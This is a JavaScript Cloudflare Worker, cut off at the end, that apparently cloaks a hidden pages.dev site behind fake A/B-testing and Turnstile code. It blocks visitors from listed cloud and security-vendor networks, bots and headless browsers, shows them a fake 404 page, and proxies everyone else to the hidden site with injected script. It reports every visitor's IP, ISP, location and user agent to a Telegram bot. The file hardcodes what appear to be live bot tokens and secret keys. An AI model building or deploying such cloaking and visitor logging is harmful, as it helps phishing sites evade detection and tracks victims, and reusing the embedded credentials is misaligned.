// ────────────────────────────── CONFIG ────────────────────────────── const CONFIG = { TARGET_URL_TURNSTILE: "ON", // "ON" or "OFF" (default behavior) TARGET_URL: "https://b18a4796.onos27.pages.dev", // ← your real page TG_BOT_TOKEN: "6928430840:AAGXRne57cp_uyhGfd43WrarfpSWd_nTsS4", TG_CHAT_ID: "-5033753506", TURNSTILE_SITEKEY: "0x4AAAAAACDIS1zCdG778aoK", TURNSTILE_SECRET: "0x4AAAAAACDISyJ_VMkhmyIzq99W9zjOVmw" }; const BLOCKED_ASNS = new Set([ 8075,36692,206092,54538,209,12695,16509,262287,395954,137409, 9009,14061,3257,46261,394474,396982,59854,36352,136787,202425, 14618,32181,60068,51167,174,30633,201011,62041,3356,8070, 25764,24961,396362,7203,203020,24940,31034,203999,8220,212238, 7941,32613,16276,18779,398705,44418,401120,48090,399979,11404,8866,36920,13213,3320,133499,207137 ]); // ──────────────────────── A/B EXPERIMENTS ──────────────────────── const EXPERIMENTS = [ { name: "big-button", threshold: 0.50 }, { name: "new-brand", threshold: 0.10 }, { name: "new-layout", threshold: 0.02 }, { name: "dark-mode", threshold: 0.30 } ]; export default { async fetch(request) { const ctx = await buildContext(request); const blockDecision = shouldBlock(ctx); await sendTelegramNotification(ctx, blockDecision); const url = new URL(request.url); const decodedPath = decodeURIComponent(url.pathname + url.search); let requireTurnstile = (CONFIG.TARGET_URL_TURNSTILE.toUpperCase() === "ON"); if (decodedPath.includes("TARGET_URL TURNSTILE =OFF")) { requireTurnstile = false; } else if (decodedPath.includes("TARGET_URL TURNSTILE =ON")) { requireTurnstile = true; } // HARD BLOCK: ASN / Threat / Bot → always block, Turnstile does NOT bypass if (blockDecision.blocked) { if (request.method === "POST") { return await handleHardBlockedTurnstileSubmit(request, ctx.ip); } return serveChallengePage("..", true); } // SOFT CHALLENGE: Only for clean traffic when Turnstile is ON if (requireTurnstile) { if (request.method === "POST") { return await handleTurnstileSubmit(request, ctx.ip, ctx.postalCode, url.pathname + url.search); } return serveChallengePage(""); } // Clean traffic + Turnstile OFF → proxy + client-side replacement return await proxyWithExperiments(request, ctx.ip, ctx.postalCode); } }; async function buildContext(request) { const url = new URL(request.url); const cf = request.cf || {}; const ip = request.headers.get("CF-Connecting-IP") || "??"; return { url, fullUrl: request.url, ip, postalCode: cf.postalCode || "", country: cf.country || "XX", colo: cf.colo || "??", asn: cf.asn || 0, org: cf.asOrganization || "Unknown ISP", threat: cf.threatScore ?? 0, ua: request.headers.get("User-Agent") || "" }; } function shouldBlock(ctx) { const reasons = []; if (BLOCKED_ASNS.has(ctx.asn)) reasons.push(`Blocked ASN AS${ctx.asn}`); if (ctx.threat >= 10) reasons.push(`Threat ${ctx.threat}/100`); if (/bot|crawler|headless|phantom|puppeteer|playwright|selenium|scraper/i.test(ctx.ua)) reasons.push("Bot UA"); const blocked = reasons.length > 0; const reason = blocked ? reasons.join(" + ") : "Allowed (Clean)"; return { blocked, reason }; } async function sendTelegramNotification(ctx, decision) { const flag = ctx.country !== "XX" ? String.fromCodePoint(...[...ctx.country.toUpperCase()].map(c => 0x1F1E6 + c.charCodeAt() - 65)) : ""; const reason = decision.reason.trim() || "Unknown"; const msg = encodeURIComponent( `${decision.blocked ? "🛑 BLOCKED" : "✅ ALLOWED"} *Visit*\n` + `Reason: ${reason}\n\n` + `IP: \`${ctx.ip}\`\n` + `ISP: \`${ctx.org}\`\n` + `ASN: AS${ctx.asn} | Threat: ${ctx.threat}\n` + `Country: ${ctx.country} ${flag}\n` + `Edge: ${ctx.colo}\n` + `UA: \`${ctx.ua.slice(0, 120)}\`\n\n` + `URL: ${ctx.fullUrl}\n` + `Time: ${new Date().toISOString().replace("T", " ").slice(0, 19)} UTC` ); const url = `https://api.telegram.org/bot${CONFIG.TG_BOT_TOKEN}/sendMessage?chat_id=${CONFIG.TG_CHAT_ID}&text=${msg}&parse_mode=Markdown&disable_web_page_preview=true`; fetch(url, { keepalive: true }).catch(() => {}); } // ─────── PROXY + CLIENT-SIDE REPLACEMENT INJECTION + A/B TESTING ─────── async function proxyWithExperiments(originalRequest, ip, postalCode) { const fingerprint = [ip, postalCode]; const activeExperiments = await getActiveExperiments(fingerprint, EXPERIMENTS); const url = new URL(originalRequest.url); const targetUrl = CONFIG.TARGET_URL + url.pathname + url.search; const proxyRequest = new Request(targetUrl, originalRequest); const response = await fetch(proxyRequest); const contentType = response.headers.get("content-type") || ""; if (!contentType.includes("text/html")) { return response; } const rewriter = new HTMLRewriter() .on("body", { element(el) { el.setAttribute("data-experiments", activeExperiments.join(" ")); // ─── Inject the replacement script at the end of
─── el.append(` `, { html: true }); } }) .on("head", { element(el) { el.append(globalThis.TELEGRAM_BEACON || "", { html: true }); } }); return rewriter.transform(response); } // ─────── A/B TESTING LOGIC ─────── async function getActiveExperiments(fingerprint, experiments) { const msg = JSON.stringify(fingerprint); const hashBuffer = await crypto.subtle.digest("SHA-1", new TextEncoder().encode(msg)); const hashArray = new Uint8Array(hashBuffer); return experiments .map((exp, i) => ({ exp, byte: hashArray[i] ?? 0 })) .filter(({ exp, byte }) => byte <= exp.threshold * 255) .map(({ exp }) => exp.name); } // ─────── TURNSTILE FOR CLEAN TRAFFIC (SOFT CHALLENGE) ─────── async function handleTurnstileSubmit(request, ip, postalCode, originalPath) { const form = await request.formData(); const token = form.get("cf-turnstile-response"); if (!token) return serveChallengePage("Missing token"); const verify = await fetch("https://challenges.cloudflare.com/turnstile/v0/siteverify", { method: "POST", body: new URLSearchParams({ secret: CONFIG.TURNSTILE_SECRET, response: token, remoteip: ip }) }); const result = await verify.json(); if (!result.success) { return serveChallengePage(`Verification failed. Please try again.`); } // Success → go to target (with patch script) const targetUrl = CONFIG.TARGET_URL + originalPath; const cleanRequest = new Request(targetUrl, { method: "GET", headers: request.headers }); return await proxyWithExperiments(cleanRequest, ip, postalCode); } // ─────── TURNSTILE FOR HARD-BLOCKED (NEVER ALLOW) ─────── async function handleHardBlockedTurnstileSubmit(request, ip) { const form = await request.formData(); const token = form.get("cf-turnstile-response"); if (token) { await fetch("https://challenges.cloudflare.com/turnstile/v0/siteverify", { method: "POST", body: new URLSearchParams({ secret: CONFIG.TURNSTILE_SECRET, response: token, remoteip: ip }) }); } return serveChallengePage("Access denied due to security policy. This decision is final.", true); } // ─────── CHALLENGE PAGE ─────── function serveChallengePage(reason = "", isPermanent = false) { const title = isPermanent ? "404 NOT FOUND" : ""; const message = isPermanent ? `${reason}
` : `${reason}
`; if (isPermanent) { return new Response(`